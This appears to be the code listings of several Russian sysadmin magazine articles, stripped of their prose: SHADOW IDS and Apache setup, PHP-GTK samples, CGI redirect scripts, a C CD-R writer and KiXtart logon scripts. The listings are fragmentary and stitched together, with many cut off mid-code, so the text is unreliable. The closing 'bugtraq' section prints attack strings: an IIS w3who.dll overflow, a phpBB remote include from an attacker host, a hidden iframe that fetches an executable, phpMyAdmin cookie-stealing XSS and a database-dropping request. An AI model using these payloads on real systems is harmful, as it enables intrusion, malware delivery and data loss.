/etc/apache2/httpd.conf /etc/apache2/httpd.conf.orig # cp /usr/local/SHADOW/httpd/apache-conf /httpd-2.0.40.basic /etc/apache2/httpd.conf User wwwrun Group www Include /etc/apache2/sysconfig.d/loadmodule.conf # mkdir -p /home/shadow/html/tcpdump_results # cd /usr/local/SHADOW/httpd/home # cp * /home/shadow/html # cp .htaccess /home/shadow/html # chown -R shadow:shadow /home/shadow # /etc/init.d/httpd restart # /etc/init.d/sshd start # chkconfig --add sshd # mount -t vfat /dev/fd0 /mnt/floppy # cd /etc/ssh # cat ssh_host_key.pub ssh_host_dsa_key.pub ssh_host_rsa_key.pub > /mnt/floppy/ssh_known_hosts # umount /mnt/floppy # mount -t vfat /dev/fd0 /mnt/floppy # cd /etc/ssh # cp /mnt/floppy/ssh_known_hosts . # umount /mnt/floppy # su – shadow # mkdir .ssh # chmod 700 .ssh # cd .ssh # /usr/bin/ssh-keygen -b 1024 -t dsa -f .id_dsa # /usr/bin/ssh-keygen -b 1024 -t rsa -f .id_rsa2 # /usr/bin/ssh-keygen -b 1024 -t rsa1 -f .id_rsa1 # cat .id_dsa.pub .id_rsa2.pub .id_rsa1.pub > authorized_keys # mount -t vfat /dev/fd0 /mnt/floppy/ # cp authorized_keys /mnt/floppy/ # umount /mnt/floppy # mount -t vfat /dev/fd0 /mnt/floppy # cd /home/shadow/.ssh # cp /mnt/floppy/authorized_keys . # umount /mnt/floppy # Host alias specification Host_Alias SHADOW = analyzer1.com, analyzer2.com # Cmnd alias specification Cmnd_Alias NMAP = /usr/bin/nmap # User privilege specification root ALL=(ALL) ALL apache SHADOW=NOPASSWD: NMAP AuthType Basic AuthName "Privileged SHADOW Users" AuthUserFile /usr/local/SHADOW/httpd/cgi-bin/privileged/nmap_pwd Satisfy any require valid-user order deny,allow deny from all allow from 172.16.47 htpasswd -c /path/to/store/password username # htpasswd -c /usr/local/SHADOW/httpd/cgi-bin/privileged/nmap_pwd grinder # /usr/local/SHADOW/comment_strip ip.filter.doc > /usr/local/SHADOW/filters/Site1/ip.filter # /usr/local/SHADOW/comment_strip icmp.filter.doc > /usr/local/SHADOW/filters/Site1/icmp.filter # /usr/local/SHADOW/comment_strip tcp.filter.doc > /usr/local/SHADOW/filters/Site1/tcp.filter # /usr/local/SHADOW/comment_strip udp.filter.doc > /usr/local/SHADOW/filters/Site1/udp.filter # /usr/local/SHADOW/comment_strip goodhost.filter.doc > /usr/local/SHADOW/filters/Site1/goodhost.filter # /usr/local/SHADOW/comment_strip filter.getall.doc > /usr/local/SHADOW/filters/Site1/filter.getall # tcpdump -i eth0 -n -F /usr/local/SHADOW/filters/Site1/tcp.filter # ln –s /usr/local/SHADOW/etc/shadow.conf /etc/shadow.conf # /usr/local/SHADOW/fetchem.pl -l Site1 -d 2004103121 -debug # Run fetchem to get SHADOW data files: # SHADOW_PATH=/usr/local/SHADOW # 1 * * * * $SHADOW_PATH/fetchem.pl -l Site1 3 * * * * $SHADOW_PATH/fetchem.pl -l Site2 -debug # # Cleanup once per day. # 15 1 * * * $SHADOW_PATH/cleanup.pl -l Site1 24 1 * * * $SHADOW_PATH/cleanup.pl -l Site2 # # Collect statistics each night. # 1 0 * * * $SHADOW_PATH/stats/do_daily_stats.pl -l Site1 1 3 * * * $SHADOW_PATH/stats/do_daily_stats.pl -l Site2 PHP-GTK Андрей Уваров show(); gtk::main(); ?> if( !extension_loaded('gtk')) { dl( 'php_gtk.' . PHP_SHLIB_SUFFIX); } $window = &new GtkWindow(); $window->show(); set_title('Message'); // устанавливаем размер окна $window->set_usize(200, 30); $label = &new GtkLabel($text->get_text()); // добавляем объект в контейнер $window->add($label); $window->show_all(); } $mainwindow = &new GtkWindow(); // устанавливаем заголовок окна $mainwindow->set_title('Hello world'); $mainwindow->connect_object('destroy', Array('gtk', 'main_quit')); // Этот класс является специальным контейнером, // который позволяет размещать по горизонтали // добавленные в него объекты. $box = &new GtkHBox(); $button = &new GtkButton('press me'); $entry = &new GtkEntry(); $button->connect_object('clicked', 'button_click', $entry); $box->pack_start($entry); $box->pack_end($button); $mainwindow->add($box); $mainwindow->show_all(); gtk::main(); ?> $mainwindow->connect_object('destroy', Array('gtk', 'main_quit')); ... function mainDestroy(){ gtk::main_quit(); }: ... $mainwindow->connect('destroy', 'mainDestroy'); ... sample.py: import gtk def button_click(text): window = gtk.Window() window.set_title("Message") window.set_usize(200, 30) label = gtk.Label(text.get_text()) window.add(label) window.show_all() def main_quit(object): gtk.main_quit() mainwindow = gtk.Window() mainwindow.set_title("Hello world") mainwindow.connect("destroy", main_quit) box = gtk.HBox() button = gtk.Button("press me") entry = gtk.Entry() button.connect_object("clicked", button_click, entry) box.pack_start(entry) box.pack_end(button) mainwindow.add(box) mainwindow.show_all() gtk.main() Обработка переадресованных http-запросов Алексей Мичурин AccessFileName имя_файла AllowOverride список_категорий_или_All_или_None DirectoryIndex index.html /cgi-bin/index.cgi DirectoryIndex /cgi-bin/index.cgi ErrorDocument 404 /cgi-bin/error.cgi ErrorDocument 404 /error/404.shtml 404

Файл не найден!

Файл был запрошен методом . Запрос был перенаправлен на этот документ со статусом . Полная диагностика такова: . (все использованные переменные доступны и в CGI) ErrorDocument 404 "Sorry. File not found AuthType Basic AuthName "By Invitation Only" AuthUserFile /home/www/paper/secret/passwd Require valid-user Enter

Hi, !

(AUTH_TYPE=)

ErrorDocument 401 /error/401.shtml ErrorDocument 401 /cgi-bin/error.cgi #!/usr/bin/perl use strict; my ($path, $script) = @ENV{qw/PATH_INFO SCRIPT_NAME/}; my ($color, $file) = $path=~m|/([^/]+)/([^/]+)$|; my $html_list=''; foreach (1..5) { $html_list .= <<"TEXT";
  • $_.html
  • TEXT } print <<"TEXT"; Content-Type: text/html $script

    $file

      $html_list
    TEXT /cgi-bin/pi.cgi

    3.html

    AddHandler my-handler .para Action my-handler /cgi-bin/para.cgi #!/usr/bin/perl use strict; my ($file, $url)=@ENV{qw/PATH_TRANSLATED REDIRECT_URL/}; open FH, "<$file" or die; my $f=join('', ); close FH; $f=~s/\&/&/g; $f=~s/\/>/g; $f=~s/\"/"/g; $f=~s/\n/
    \n/g; print <<"TEXT"; Content-Type: text/html $url

    $url

    $f TEXT "AAA" CCC /action/1.para

    /action/1.para

    "AAA"
    <BBB>
    CCC Action text/html /cgi-bin/pi.cgi Запись дисков CD-R/RW в Linux Часть 2 Владимир Мешков typedef struct { __u8 page_code :6; __u8 rez :1; __u8 ps :1; __u8 page_length; __u8 write_type :4; __u8 test_write :1; __u8 ls_v :1; __u8 BUFE :1; __u8 rez1 :1; __u8 track_mode :4; __u8 copy :1; __u8 FP :1; __u8 multises :2; __u8 dbt :4; __u8 rez2 :4; __u8 link_size; __u8 rez3; __u8 hac :6; __u8 rez4 :2; __u8 s_format; __u8 rez5; __u32 packet_size; __u16 apl; __u8 mcn[16]; __u8 isrc[16]; __u32 sh; } __attribute__ ((packed)) wpm_t; // дескриптор файла sg-устройства int sg_fd; // указатель на данные страницы параметров режима записи wpm_t *wpm; // значение поля Mode Data Length заголовка Mode Parameter // Header __u16 mode_page_len = 0; // размер списка страниц режима Mode Parameter List – 8 байт // заголовка списка Mode Parameter Header + 52 байта самой // страницы (см. рис. 13-15, первой части статьи) __u16 data_len = 60; // блок памяти для чтения списка Mode Parameter List __u8 data_buff[60]; int mode_sense() { __u8 mode_sense_cmd[10]; /* Устройства готово? */ if(test_unit_ready() < 0) exit(-1); memset(data_buff, 0, 60); // wpm указывает на начало страницы параметров режима записи wpm = (void *)(data_buff + 8); /* Формируем командый пакет */ memset(mode_sense_cmd, 0, 10); // код команды MODE SENSE mode_sense_cmd[0] = MODE_SENSE_10; // код страницы параметров режима записи mode_sense_cmd[2] = 5; // размер данных - 60 байт mode_sense_cmd[8] = data_len; /* Посылаем команду устройству */ if(send_cmd(mode_sense_cmd, 10, SG_DXFER_FROM_DEV, data_buff, data_len, 20000) < 0) return -1; /* Размер считанных данных – значение поля Mode Data Length заголовка списка страниц */ memcpy((void *)&mode_page_len, data_buff, 2); mode_page_len = __swab16(mode_page_len); printf("Mode data length - %d\n", mode_page_len); /* Отобразим текущие параметры режима записи */ // код страницы printf("Page code - %d\n", wpm->page_code); // размер страницы printf("Page length - %d\n", wpm->page_length); // режим записи printf("Write type - %d\n", wpm->write_type); // тип блока данных printf("Data block type - %d\n", wpm->dbt); // формат сессии printf("Session format - %d\n", wpm->s_format); // режим трека (поле Control Field) printf("Track mode - %d\n", wpm->track_mode); return 0; } int mode_select(__u8 dbt, __u8 track_mode) { __u8 mode_select_cmd[10]; /* Определяем текущие параметры режима записи */ if(mode_sense() < 0) exit(-1); /* Устанавливаем параметры для записи данных */ wpm->write_type = 1; // режим записи – TAO wpm->dbt = dbt; // тип блока данных wpm->s_format = 0; // открытие новой сессии запрещено wpm->track_mode = track_mode; // режим трека /* Устройство готово? */ if(test_unit_ready() < 0) exit(-1); /* Формируем командный пакет */ memset(mode_select_cmd, 0, 10); // код команды MODE SELECT mode_select_cmd[0] = MODE_SELECT_10; // устанавливаем в 1 бит PF (Page Format) mode_select_cmd[1] = 1 << 4; /* В поле Parameter List Header записываем размер блока данных */ data_len = 60; mode_page_len = __swab16(data_len); memcpy((void *)(mode_select_cmd + 7), (void *)&mode_page_len, 2); /* Посылаем устройству команду */ if(send_cmd(mode_select_cmd, 10, SG_DXFER_TO_DEV, data_buff, data_len, 20000) < 0) return -1; /* Для контроля отобразим установленные параметры режима записи */ if(mode_sense() < 0) exit(-1); return 0; } int write_iso(__u8 *file_name) { int in_f; __u8 write_cmd[10]; __u8 write_buff[CD_FRAMESIZE]; __u32 lba = 0, lba1 = 0; if(test_unit_ready() < 0) exit(-1); /* Открываем файл-образ */ in_f = open(file_name, O_RDONLY, 0600); memset(write_buff, 0, CD_FRAMESIZE); /* Цикл чтения блоков данных из файла. Размер блока – 2048 байт */ while(read(in_f, write_buff, CD_FRAMESIZE) > 0) { /* Формируем командный пакет */ memset(write_cmd, 0, 10); write_cmd[0] = WRITE_10; // код команды write_cmd[8] = 1; // количество секторов для записи printf("%c", 0x0D); printf("lba - %6d", lba1); /* Адрес блока для записи */ lba = __swab32(lba1); memcpy((write_cmd + 2), (void *)&lba, 4); lba1 += 1; /* Посылаем устройству команду */ if(send_cmd(write_cmd, 10, SG_DXFER_TO_DEV, write_buff, CD_FRAMESIZE, 20000) < 0) return -1; } printf("\n"); return 0; } int sync_cache() { __u8 flush_cache[10]; if(test_unit_ready() < 0) exit(-1); /* Формируем и посылаем команду */ memset(flush_cache, 0, 10); flush_cache[0] = SYNCHRONIZE_CACHE; // код команды if(send_cmd(flush_cache, 10, SG_DXFER_NONE, NULL, 0, 20000) < 0) return -1; return 0; } int close_track() { __u8 close_trk_cmd[10]; if(sync_cache() < 0) { printf("Cannot synchronize cache\n"); return -1; } if(test_unit_ready() < 0) exit(-1); /* Формируем команду закрытия трека и посылаем ее устройству */ memset(close_trk_cmd, 0, 10); close_trk_cmd[0] = 0x5B; // код команды CLOSE TRACK close_trk_cmd[2] = 1; // флаг закрытия трека close_trk_cmd[5] = 1; // номер трека, он у нас один if(send_cmd(close_trk_cmd, 10, SG_DXFER_NONE, NULL, 0, 20000) < 0) return -1; return 0; } int close_session() { __u8 close_sess_cmd[10]; if(test_unit_ready() < 0) exit(-1); memset(close_sess_cmd, 0, 10); close_sess_cmd[0] = 0x5B; // код команды CLOSE SESSION close_sess_cmd[2] = 2; // флаг закрытия текущей сессии if(send_cmd(close_sess_cmd, 10, SG_DXFER_NONE, NULL, 0, 60000) < 0) return -1; return 0; } void eject_cd() { __u8 start_stop_cmd[6]; memset(start_stop_cmd, 0, 6); start_stop_cmd[0] = 0x1B; // код команды START/STOP UNIT start_stop_cmd[4] = 2; // извлечь компакт-диск send_cmd(start_stop_cmd, 6, SG_DXFER_NONE, NULL, 0, 20000); return; } int main(int argc, char **argv) { /* Проверяем наличие входных параметров */ if(argc != 2) { printf("\n\tUsage: write_iso [ISO-image]\n\n"); return 0; } /* Открываем файл sg-устройства */ if((sg_fd = open(SG_DEV, O_RDWR)) < 0) { perror("open"); return -1; } /* Устанавливаем параметры режима записи данных: * тип блока данных dbt = 8 – формат блока Mode 1, размер блока 2048 байт; * тип информации, находящейся в треке track_mode = 4 – трек содержит данные. */ mode_select(8, 4); /* Выполняем запись данных на компакт-диск */ if(write_iso(argv[1]) < 0) { printf("Cannot write image %s\n", argv[1]); return -1; } /* Закрываем трек, сессию и извлекаем компакт-диск из привода*/ close_track(); close_session(); eject_cd(); close(sg_fd); return 0; } int reserv_track(__u32 track_size) { __u8 reserv_track_cmd[10]; __u32 size = 0; if(test_unit_ready() < 0) exit(-1); /* Формируем командный пакет */ memset(reserv_track_cmd, 0, 10); reserv_track_cmd[0] = 0x53; // код команды RESERVE TRACK /* Заполняем поле Reservation size */ size = __swab32(track_size); memcpy((void *)(reserv_track_cmd + 5), (void *)&size, 4); if(send_cmd(reserv_track_cmd, 10, SG_DXFER_NONE, NULL, 0, 20000) < 0) return -1; /* Cчитываем PMA */ read_pma(); return 0; } __u32 read_track_info(int trk_num) { __u8 read_track_info_cmd[10]; __u8 data_buff[40]; // блок информации о треке __u16 len = 40; // размер блока __u32 lba = 0; if(test_unit_ready() < 0) exit(-1); /* Формируем командный пакет */ memset(data_buff, 0, 40); memset(read_track_info_cmd, 0, 10); read_track_info_cmd[0] = 0x52; // поле Address/Number Type = 01b read_track_info_cmd[1] = 1; read_track_info_cmd[5] = trk_num; // номер трека len = __swab16(len); memcpy((void *)(read_track_info_cmd + 7), (void *)&len, 2); if(send_cmd(read_track_info_cmd, 10, SG_DXFER_FROM_DEV, data_buff, 40, 20000) < 0) { printf("Cannot read track #%d info!\n", trk_num); exit(-1); } /* Из блока информации о треке считываем данные о размере трека (поле Track Size ) */ memcpy((void *)&lba, (void *)(data_buff + 24), 4); printf("Track #%d size - %u sectors\n", trk_num, __swab32(lba)); /* Стартовый адрес трека */ memcpy((void *)&lba, (void *)(data_buff + 8), 4); return __swab32(lba); } int main(int argc, char **argv) { int i = 1; struct stat s; __u32 start_lba = 0, total_sectors = 0; __u32 track_size = 0; /* Проверяем наличие входных параметров */ if(argc == 1) { printf("\n\tUsage: write_audio [OGG-files]\n\n"); return 0; } /* Открываем файл устройства */ sg_fd = open(SG_DEV, O_RDWR); /* Устанавливаем параметры режима записи: * тип блока данных dbt = 0 – «сырые» данные, размер блока 2352 байта; * track_mode = 0 – трек содержит аудиоданные. */ mode_select(0, 0); /* Считываем информацию из PMA */ printf("Display PMA:\n"); read_pma(); /* Цикл записи треков на диск */ for(i = 1; i < argc; i++) { /* Преобразуем файл из формата Ogg Vorbis в WAV (без заголовка). Имя выходного файла – track.cdr */ ogg_decoder(argv[i]); /* Определяем размер файла track.cdr в байтах*/ memset((void *)&s, 0, sizeof(struct stat)); stat("./track.cdr", &s); /* Размер файла в блоках */ track_size = s.st_size / CD_FRAMESIZE_RAW; printf("File size - %u\n", s.st_size); printf("Sectors in file - %u\n", track_size); printf("Reserve track #%d\n", i); /* Резервируем пространство для трека */ reserv_track(track_size); /* Определяем стартовый адрес трека */ start_lba = read_track_info(i); printf("Start LBA for track #%d - %u\n", i, start_lba); /* Записываем в трек аудиоданные. Номер стартового блока равен start_lba */ total_sectors = write_audio("./track.cdr", start_lba); if(total_sectors == 0) return -1; /* Закрываем трек */ close_track(i); } /* Цикл записи треков завершен. Закрываем сессию */ close_session(); /* Удаляем файл track.cdr и извлекаем диск из привода */ unlink("./track.cdr"); eject_cd(); close(sg_fd); return 0; } void ogg_decoder(__u8 *file_name) { __u8 pcmout[8192]; FILE *f; int out; OggVorbis_File vf; int current_section; printf("\nDecoding file %s..", file_name); f = fopen(file_name,"r"); out = open("./track.cdr", O_CREAT|O_RDWR|O_TRUNC, 0600); if(ov_open(f, &vf, NULL, 0) < 0) { printf("Input does not appear to be an Ogg bitstream.\n"); exit(-1); } for(;;) { memset(pcmout, 0, 8192); long ret = ov_read(&vf, pcmout, sizeof(pcmout), 0, 2, 1, ¤t_section); if (ret == 0) break; if(ret < 0) { printf("Error OGG bitsream"); exit(-1); } if(write(out, pcmout, ret) < 0) { printf("write"); exit(-1); } } fclose(f); close(out); printf("OK\n"); return; } __u32 write_audio(__u8 *file_name, __u32 start_lba) { int in_f; __u8 write_cmd[10]; // блок для аудиоданных, 2352 байт __u8 write_buff[CD_FRAMESIZE_RAW]; __u32 lba = 0, lba1 = 0; if(test_unit_ready() < 0) exit(-1); lba1 = start_lba; /* Открываем файл с аудиоданными */ in_f = open(file_name, O_RDONLY, 0600); memset(write_buff, 0, CD_FRAMESIZE_RAW); /* Цикл чтения данных из файла и записи */ while(read(in_f, write_buff, CD_FRAMESIZE_RAW) > 0) { /* Формируем командный пакет */ memset(write_cmd, 0, 10); write_cmd[0] = WRITE_10; write_cmd[8] = 1; // число блоков для записи printf("%c", 0x0D); printf("lba - %6d", lba1); // адрес блока, в который выполняется запись данных lba = __swab32(lba1); memcpy((write_cmd + 2), (void *)&lba, 4); lba1 += 1; if(send_cmd(write_cmd, 10, SG_DXFER_TO_DEV, write_buff, CD_FRAMESIZE_RAW, 20000) < 0) return 0; memset(write_buff, 0, CD_FRAMESIZE_RAW); } close(in_f); printf("\n"); return lba1; // число блоков, записанных на диск } # gcc -o ogg2cdda ogg2cdda.c -lvorbis -lvorbisfile # ./ogg2cdda trk1.ogg trk2.ogg trk3.ogg __u32 read_track_info() { __u8 read_track_info_cmd[10]; __u8 data_buff[40]; // блок информации о треке __u16 len = 40; // размер блока информации о треке __u32 lba = 0; if(test_unit_ready() < 0) exit(-1); /* Формируем командный пакет */ memset(data_buff, 0, 40); memset(read_track_info_cmd, 0, 10); read_track_info_cmd[0] = 0x52; read_track_info_cmd[1] = 1; read_track_info_cmd[5] = 0xFF; // invisible track len = __swab16(len); memcpy((void *)(read_track_info_cmd + 7), (void *)&len, 2); if(send_cmd(read_track_info_cmd, 10, SG_DXFER_FROM_DEV, data_buff, 40, 20000) < 0) { printf("Cannot read track info!\n"); exit(-1); } /* Стартовый адрес невидимого трека. С этого адреса будет выполняться запись */ memcpy((void *)&lba, (void *)(data_buff + 8), 4); return __swab32(lba); } int main(int argc, char **argv) { int i = 1; __u32 start_lba = 0, total_sectors = 0; /* Проверяем входные параметры */ if(argc == 1) { printf("\n\tUsage: write_audio [MP3-files]\n\n"); return 0; } /* Открываем файл устройства */ if((sg_fd = open(SG_DEV, O_RDWR)) < 0) { perror("open"); return -1; } /* Устанавливаем параметры режима записи (см. предыдущий пример) */ mode_select(0, 0); /* Цикл записи треков на диск */ for(i = 1; i < argc; i++) { /* Декодируем файл из MP3-формата в WAV */ printf("\nDecoding file %s..\n", argv[i]); mp3_decoder(argv[i]); /* Определяем стартовый адрес трека */ start_lba = read_track_info(); printf("Start LBA for track #%d - %u\n", i, start_lba); /* Записываем трек на диск и закрываем трек */ total_sectors = write_audio("./track.wav", start_lba); if(total_sectors == 0) return -1; close_track(i); } /* Цикл записи треков завершился, закрываем сессию */ close_session(); /* Удаляем файл track.wav и извлекаем диск из привода */ unlink("./track.wav"); eject_cd(); close(sg_fd); return 0; } void mp3_decoder(__u8 *file_name) { static pid_t pid; int status; switch(pid = fork()) { case -1: perror("fork"); exit(-1); case 0: execl("/usr/bin/mpg321", "mpg321", "-q", "-w", "track.wav", file_name, 0); exit(-1); } if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) return; } lseek(in_f, WAV_HEADER_SIZE, 0) total_sectors = 0; /* Цикл записи треков */ for(i = 1; i < argc; i++) { printf("\nWriting track #%d:\n", i); /* Определяем стартовый адрес трека и записываем трек на диск. После этого закрываем трек */ // стартовый адрес трека if(i > 1) start_lba = total_sectors + apl + 2; printf("Start sector - %u\n", start_lba); total_sectors = write_audio(argv[i], start_lba); if(total_sectors == 0) return -1; close_track(i); } start_lba = total_sectors + apl + 2 mode_sense(); apl = __swab16(wpm->apl); int blank(__u8 blank_type) { __u8 blank_cmd[12]; if(test_unit_ready() < 0) exit(-1); memset(blank_cmd, 0, 12); blank_cmd[0] = 0xA1; // код команды BLANK // режим очистки: 0 – полная, 1 – минимальная blank_cmd[1] = blank_type; if(send_cmd(blank_cmd, 12, SG_DXFER_NONE, NULL, 0, 9600*1000) < 0) return -1; return 0; } Разработка сценария регистрации пользователей в сети Часть 2 Иван Коробко $rootDSE_ = GetObject("LDAP://RootDSE") $domain_ = "LDAP://" + $rootDSE_.Get("defaultNamingContext") SELECT поле_1, поле_2, …, поле_n FROM “LDAP://dc=домен_1,dc=домен_2…,domen_n” WHERE objectClass=’тип_объекта’ $strADSQuery = "SELECT shortservername, portname, servername, printername, printsharename, location, description FROM '" +$domain_+"' WHERE objectClass='printQueue'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute $st.Movefirst $i=0 Do $server_enum="" $name_enum="" $shares_enum="" $description_enum="" $server_enum = $St.Fields("shortservername").Value $name_enum = $St.Fields("printername").Value $shares=$St.Fields("printsharename").Value for each $share in $shares $shares_enum = $shares_enum + $share next $descrs=$St.Fields("description").Value for each $desc in $descrs $description_enum = $description_enum + $desc Next $st.MoveNext $temp="Название принтера: " & $name_enum & chr(13) & "Путь к принтеру: " & "\\" & $server_enum & "\" & $shares_enum & chr(13) & "Описание: " & $description_enum. MessageBox($temp,"Характеристики принтера",0,0) $temp="" Until $st.EOF $path_enum_connect = "\\" + $server_enum + "\" + $shares_enum $connect_flag = addprinterconnection( $path_enum_connect ) if $connect_flag=0 $path_full =",," + $server_enum + "," + $name_enum $print_sysinfo=$print_sysinfo+$shares_enum+":"+$description_enum+chr(13) $access_array[$i] = lcase($path_full) $i=$i+1 Endif $Index=0 DO $connected_array[$index]= lcase(ENUMKEY("HKEY_CURRENT_USER\Printers\Connections\", $Index)) $Index = $Index + 1 UNTIL Len($Group) =0 for $i=0 to ubound($connected_array) $flag_p=0 $flag_p=Ascan($access_array,$connected_array[$i]) if $flag_p=-1 ……… endif next if $flag_p=-1 $group=$connected_array[$i] $name_=right($group, len($group)-instrrev($group,",")) $server_=right(left($group,len($group)-len($name_)-1),len(left($group,len($group)-len($name_)-1))-2) $share_=readvalue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\LanMan Print Services\Servers\"+$server_+"\Printers\"+$name_,"Share Name") $disconnect_ ="\\"+$server_+"\"+$share_ $r=DelPrinterConnection( $disconnect_ ) endif [L1] SERVER=Main SHARE=Consultant ACCESSGROUP1=everyone ACCESSGROUP2=Все DESCRIPTION="Консультант+" [W1] SERVER=Second SHARE=work\department1 ACCESSGROUP1=department1 ACCESSGROUP2=department3 DESCRIPTION="Ресурсы отдела 1" [W2] SERVER=Second SHARE=work\department2 ACCESSGROUP1=department2 ACCESSGROUP2= DESCRIPTION="Ресурсы отдела 2" DelTree("HKEY_CURRENT_USER\Software\KiXtart") DO $Group = ENUMGROUP($i) ? $Group $i = $i + 1 UNTIL Len($Group) = 0 dim $usergroup_name[] $k=0 DO $Group = ENUMGROUP($i) if instr("$Group","- Print")=0 $ug1_len=len($group)-instrrev($group,"\") ReDim Preserve $usergroup_name[$k] $usergroup_name[$k]=right($group,"$ug1_len") $u_val=$usergroup_name[$k] $k=$k+1 endif $i=$i+1 UNTIL Len($Group) = 0 $i=1 dim $gr[] open(2,"@LDRIVE/shared.ini",2) ; файл shared.ini располагается в одном каталоге со скриптом – \\Server\Netlogon WHILE @ERROR = 0 $x=ReadLine(2) $skoba=instrrev("$x","[") if $skoba<>0 ReDim Preserve $gr[$i] $gr[$i]=right(left($x,len("$x")-1),len(left($x,len("$x")-1))-1) $i = $i + 1 endif LOOP $k=ubound($gr) for $i=1 to $k $letter=$gr[$i] $serv=readprofilestring("$ini_file1", "$letter","server") $share=readprofilestring("$ini_file1", "$letter","share") $accessgroup1=readprofilestring("$ini_file1", "$letter","accessgroup1") $accessgroup2=readprofilestring("$ini_file1", "$letter","accessgroup2") $description=readprofilestring("$ini_file1", "$letter","description") $share_name="\\"+$serv+"\"+$share+"" $let=$letter+":" $letter_S=left($letter,1) use $letter_S /delete if ingroup("$accessgroup1","$accessgroup2") use $letter_S+":" $share_name endif next [part] print=1 share=1 sysinfo=1 $config_ini ="@LDRIVE/kix.ini"; файл kix.ini располагается в одном каталоге со скриптом - \\Server\Netlogon open(1, $config_ini, 2) ………………………………; описываются различные глобальные переменные, осуществляется соединение с AD и др. if readprofilestring("$config_ini","part","sysinfo")=1 ……………………………… Endif if readprofilestring("$config_ini","part"," share ")=1 ……………………………… Endif if readprofilestring("$config_ini","part"," print ")=1 ……………………………… Endif kixwin "dialog" ["arguments"] ["options"] dialogHeight:sHeight dialogLeft:sXPos dialogTop:sYPos dialogWidth:sWidth center:{ yes | no | 1 | 0 | on | off } dialogHide:{ yes | no | 1 | 0 | on | off } edge:{ sunken | raised } help:{ yes | no | 1 | 0 | on | off } resizable:{ yes | no | 1 | 0 | on | off } scroll:{ yes | no | 1 | 0 | on | off } status:{ yes | no | 1 | 0 | on | off } unadorned:{ yes | no | 1 | 0 | on | off } shell '%0/../kixwin.exe $html "$system_info ^ $hardware_info ^ Установленные программы: $en $prog ^ Подключенные сетевые диски:$en $n1 ^ Подключенные сетевые принтеры:$en $n2" "scroll:off;resizable:on"' ……………………………………………………… …… Сведения об операционной системе Сведения о компьютере …… /scripts/w3who.dll?bogus= /scripts/w3who.dll?AAAAAAAAA...[519 to 12571]....AAAAAAAAAAAAA http://./.gz/ bugtraq стр. 94 http://[target]/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://[attacker]/ < body> < iframe src='http://your.domain.com/v.exe?.htm' name= "NotFound" width="0" height="0"> Click here. < /body> < /html> http://[target]/[phpMyAdmin_directory]/main.php?">alert(document.cookie) http://[target]/[phpMyAdmin_directory]/read_dump.php?sql_query=drop%20database%20EXAMPL E&zero_rows=">